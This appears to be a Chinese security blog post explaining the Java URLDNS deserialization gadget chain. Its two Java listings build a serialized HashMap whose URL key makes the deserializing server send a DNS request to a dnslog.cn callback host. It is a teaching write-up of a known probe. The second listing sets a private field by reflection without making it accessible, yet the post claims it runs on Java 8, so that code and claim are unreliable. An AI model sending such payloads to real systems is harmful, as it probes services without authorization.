urldns链

UWI Lv3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class urldns {

public static void serialize(Object obj, String fileName) throws IOException {
try (FileOutputStream fos = new FileOutputStream(fileName);
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(obj);
}
}

/**
* 从文件反序列化对象
* @param fileName 文件名
* @return 反序列化后的对象
* @throws IOException
* @throws ClassNotFoundException
*/
public static Object deserialize(String fileName) throws IOException, ClassNotFoundException {
try (FileInputStream fis = new FileInputStream(fileName);
ObjectInputStream ois = new ObjectInputStream(fis)) {
return ois.readObject();
}
}
public static void main(String[] args) throws IOException {
HashMap<URL,Integer> hashMap = new HashMap<>();

hashMap.put(new URL("http://tjls2a.dnslog.cn"),1);

serialize(hashMap,"test.ser");




}
}

原理分析

在Hashmap 类 的readobject 的方法里面会对存储的key对象调用hash(key)方法

image-20250515220939861

如果key不为null的话就会让key调用hashCode方法

image-20250515221105558

而如果我们存储的key是一个url对象的话 就会调用url类的hashCode方法

我们来看看url类的hashcode方法 他会调用handler.hashCode方法

image-20250515221319505

我们继续跟进到这个方法里面

handler.hashCode

会发现在这里就执行了url请求 达到了dns请求的目的

image-20250515221456439

但是如果我们使用刚刚给出的代码并不会 在执行反序列化的时候触发这种效果

原因如下

我们跟进一下put方法

image-20250515221623660

会发现put方法执行了hashcode的方法

image-20250515221657978

而如果我们再put的时候就提前执行了这个方法 ,他的hashcode就会不等于负一了 这也就造成反序列化hashmap对象的时候

url对象的hashcode方法并不会继续直行到handler.hashCode这个方法 从而无法造成dns请求

image-20250515221919232

那么我们现在就要想一个办法 让他在put的时候 不执行handler.hashCode 的方法 也就是让他的hashCode!=-1

当他的put操作完成以后再将url对象的hashCode 重新设置会-1

于是我们用反射 让它在put之前为8888 put完之后为-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class urldns {

public static void serialize(Object obj, String fileName) throws IOException {
try (FileOutputStream fos = new FileOutputStream(fileName);
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(obj);
}
}

/**
* 从文件反序列化对象
* @param fileName 文件名
* @return 反序列化后的对象
* @throws IOException
* @throws ClassNotFoundException
*/
public static Object deserialize(String fileName) throws IOException, ClassNotFoundException {
try (FileInputStream fis = new FileInputStream(fileName);
ObjectInputStream ois = new ObjectInputStream(fis)) {
return ois.readObject();
}
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL,Integer> hashMap = new HashMap<>();
URL url = new URL("http://tjls2a.dnslog.cn");
Class c = url.getClass();
Field field = c.getDeclaredField("hashCode");
field.set(url,8888);

hashMap.put(url,1);
field.set(url,-1);

serialize(hashMap,"test.ser");




}
}

在java8的环境下这段代码是可以成功运行的

序列化的时候没有执行dns请求

image-20250515224958239

image-20250515225008584

反序列化的时候执行dns成功

image-20250515225049794

image-20250515225059187

  • Title: urldns链
  • Author: UWI
  • Created at : 2025-07-31 12:37:25
  • Updated at : 2025-08-13 14:42:23
  • Link: https://nbwsws.github.io/2025/07/31/代码审计/urldns链/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
urldns链